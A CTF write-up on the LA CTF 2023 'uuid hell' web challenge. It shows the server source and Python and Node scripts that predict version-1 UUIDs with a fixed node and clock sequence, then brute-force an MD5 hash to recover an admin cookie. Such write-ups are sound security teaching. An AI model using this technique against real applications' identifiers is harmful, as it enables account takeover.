Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

uuid hell

Overview

Background

UUIDs are the best! I love them (if you couldn’t tell)!

Site: uuid-hell.lac.tf

Enumeration

In this challenge, we can download a file:

┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/uuid-hell)-[2023.02.11|16:55:39(HKT)]
└> file uuid-hell.zip 
uuid-hell.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/uuid-hell)-[2023.02.11|16:55:40(HKT)]
└> unzip uuid-hell.zip          
Archive:  uuid-hell.zip
  inflating: Dockerfile              
  inflating: package-lock.json       
  inflating: package.json            
  inflating: server.js

But before we look into those files, let’s have a look in the home page:

As you can see, we have bunch of UUIDs for admin users and regular users.

Now, we can look into the downloaded files.

Dockerfile:

┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/uuid-hell)-[2023.02.11|16:56:06(HKT)]
└> cat Dockerfile 
FROM node:19-bullseye-slim
ENV NODE_ENV=production
ENV PORT=3500
ENV FLAG=lactf{testing}

WORKDIR /app

COPY ["package.json", "package-lock.json", "./"]

RUN npm install --production

COPY server.js /app

EXPOSE 3500

CMD [ "node", "server.js"]

In here, we see that the web application is using Express NodeJS framework, and the flag is inside the environment variable.

Let’s break the server.js JavaScript source code down!

In the source code, we see this:

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}
let adminuuids = []
let useruuids = []
function isAdmin(uuid) {
    return adminuuids.includes(uuid);
}
function isUuid(uuid) {
    if (uuid.length != 36) {
        return false;
    }
    for (const c of uuid) {
        if (!/[-a-f0-9]/.test(c)) {
            return false;
        }
    }
    return true;
}

function getUsers() {
    let output = "<strong>Admin users:</strong>\n";
    adminuuids.forEach((adminuuid) => {
        const hash = crypto.createHash('md5').update("admin" + adminuuid).digest("hex");
        output += `<tr><td>${hash}</td></tr>\n`;
    });
    output += "<br><br><strong>Regular users:</strong>\n";
    useruuids.forEach((useruuid) => {
        const hash = crypto.createHash('md5').update(useruuid).digest("hex");
        output += `<tr><td>${hash}</td></tr>\n`;
    });
    return output;

}
[...]
app.get('/', (req, res) => {
    let id = req.cookies['id'];
    if (id === undefined || !isUuid(id)) {
        id = randomUUID();
        res.cookie("id", id);
        useruuids.push(id);
    } else if (isAdmin(id)) {
        res.send(process.env.FLAG);
        return;
    }

    res.send("You are logged in as " + id + "<br><br>" + getUsers());
});

In the / route (path), if our cookie id is not set OR the id value length is not equal to 36, and not contain -a-f0-9, then generate a new random UUID version 1 and set a new id cookie with that value.

If the UUID value is the admin user one, send the flag.

Finally, for each admin users’ UUID, MD5 hash it by appending “admin” and the UUID. Also, for each regular users’ UUID, MD5 hash it with the UUID.

After that, we can also see:

app.post('/createadmin', (req, res) => {
    const adminid = randomUUID();
    adminuuids.push(adminid);
    res.send("Admin account created.")
});

In the /createadmin route, **when a POST request is sent, it’ll generate a new UUID version 1, and append it to array adminuuids:**

┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/uuid-hell)-[2023.02.11|17:17:41(HKT)]
└> curl https://uuid-hell.lac.tf/createadmin -X POST
Admin account created.

So, what’s our goal in this challenge?

Our main goal is to get a valid UUID from one of those admin users, then the web application will send the flag!

But how?

The admin UUIDs are being hashed via MD5 and appended a string “admin”.

Let’s look at the function randomUUID():

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}

First off, what is UUID version 1?

A Version 1 UUID is a universally unique identifier that is generated using a timestamp and the MAC address (node) of the computer on which it was generated.

Then, according to NPM, we see that what is node and clockseq key:

So, node is 6 indexes of array of byte values. clockseq is a number between 0 - 0x3fff.

Hmm… If we can extract timestamp, clock sequence and node (MAC address), we can predict the UUID!

In this blog, it breaks down the UUIDv1 and it’s vulnerability:

Hence, our current UUID:

Hmm… How can we abuse the /createadmin route…

Ah! Since we now know the format of UUIDv1, the value of node, and clock sequence, we can theoretically predict the admin UUID!

To so do, I’ll write a Python script:

#!/usr/bin/env python3

import requests
from hashlib import md5
from uuid import uuid1

def main():
    session = requests.session()

    # Create new admin
    URL = 'https://uuid-hell.lac.tf'
    createAdminRequestResult = session.post(URL + '/createadmin')
    print(f'[+] Request result text: {createAdminRequestResult.text}')

    UUIDv1 = str(uuid1(node=0x67696E6B6F69, clock_seq=0b10101001100100))
    print(f'[+] UUIDv1: {UUIDv1}')
    
    hashedUUIDv1 = md5(b'admin' + UUIDv1.encode('utf-8')).hexdigest()
    print(f'[+] Hashed: {hashedUUIDv1}')
   
    homePageRequestResult = session.get(URL)
    print(homePageRequestResult.text.split('<br><br><strong>')[0])
    if hashedUUIDv1 in homePageRequestResult.text:
        print('[+] Found the same hash in the home page!')
    else:
        print('[-] Couldn\'t find the same hash in the home page...')


if __name__ == '__main__':
    main()

However, I still couldn’t predict the UUID in this script…

Hmm… I wonder if can I brute force the admin UUID’s MD5 hash

To do so, I’ll first generate a UUIDv1 BEFORE creating a new admin account. Then, get the regular user’s UUIDv1 AFTER new admin account has been created:

const uuid = require('uuid');
const crypto = require('crypto');

const URL = 'https://uuid-hell.lac.tf';

// Generate UUIDv1 and MD5 hashed one
var adminuuid = uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
console.log("Before created UUIDv1: " + adminuuid);
var hash = crypto.createHash('md5').update("admin" + adminuuid).digest("hex");
console.log("Before created MD5 hash: " + hash);

// Create new admin
fetch(URL + "/createadmin", {
    method: "POST"
}).then(
        response => response.text()
    ).then(
        text => console.log("Create admin response text: " + text)
    );

// Get the current regular user's UUIDv1
fetch(URL).then(
        response => response.text()
    ).then(
        text => console.log("Current regular user's UUIDv1:\n" + text.split('<br><br><strong>')[0])
    );

Note: I switch to JavaScript for simplicity.

┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/uuid-hell)-[2023.02.12|14:12:43(HKT)]
└> nodejs generate_uuidv1.js
Before created UUIDv1: 8c07b990-aa9c-11ed-aa64-67696e6b6f69
Before created MD5 hash: eb3b9bac7f6b78cb5ea2895fc0331772
Current regular user's UUIDv1:
You are logged in as 8c69d6c0-aa9c-11ed-aa64-67696e6b6f69
Create admin response text: Admin account created.

Then, go to /, and copy the last admin user’s hash:

After that, I’ll write a Python script to brute force the MD5 hash:

#!/usr/bin/env python3

from hashlib import md5

def main():
    hashed = '9d91ed0ca14c3863eb27546c83e25358'

    for i in range(0x8c07b990 , 0xffffffff):
        hexed = hex(i)[2:]
        hashTarget = f'{hexed}-aa9c-11ed-aa64-67696e6b6f69'.encode('utf-8')

        hashedTarget = md5(b'admin' + hashTarget).hexdigest()
        print(f'[*] Trying target: {hashTarget.decode()}, hashed: {hashedTarget}', end='\r')
        if hashedTarget == hashed:
            print(f'\n[+] Found the same hash! Target: {hashTarget.decode()}, hashed: {hashedTarget}')
            exit()

if __name__ == '__main__':
    main()

Note: Replace the hashed to your last admin user’s hash, and the 0x8c07b990 hex value to your before created UUIDv1. E.g: 8c07b990-aa9c-11ed-aa64-67696e6b6f69 -> 0x8c07b990.

┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/uuid-hell)-[2023.02.12|14:20:52(HKT)]
└> python3 brute_force_md5_uuidv1.py
[*] Trying target: 8c78cae0-aa9c-11ed-aa64-67696e6b6f69, hashed: 9d91ed0ca14c3863eb27546c83e25358
[+] Found the same hash! Target: 8c78cae0-aa9c-11ed-aa64-67696e6b6f69, hashed: 9d91ed0ca14c3863eb27546c83e25358

Nice! We found it!

Let’s modify our id cookie to the new UUIDv1, and refresh the page!

We found the flag!

Conclusion

What we’ve learned:

  1. Predicting UUID Version 1 Via Known Nodes & Clock Sequence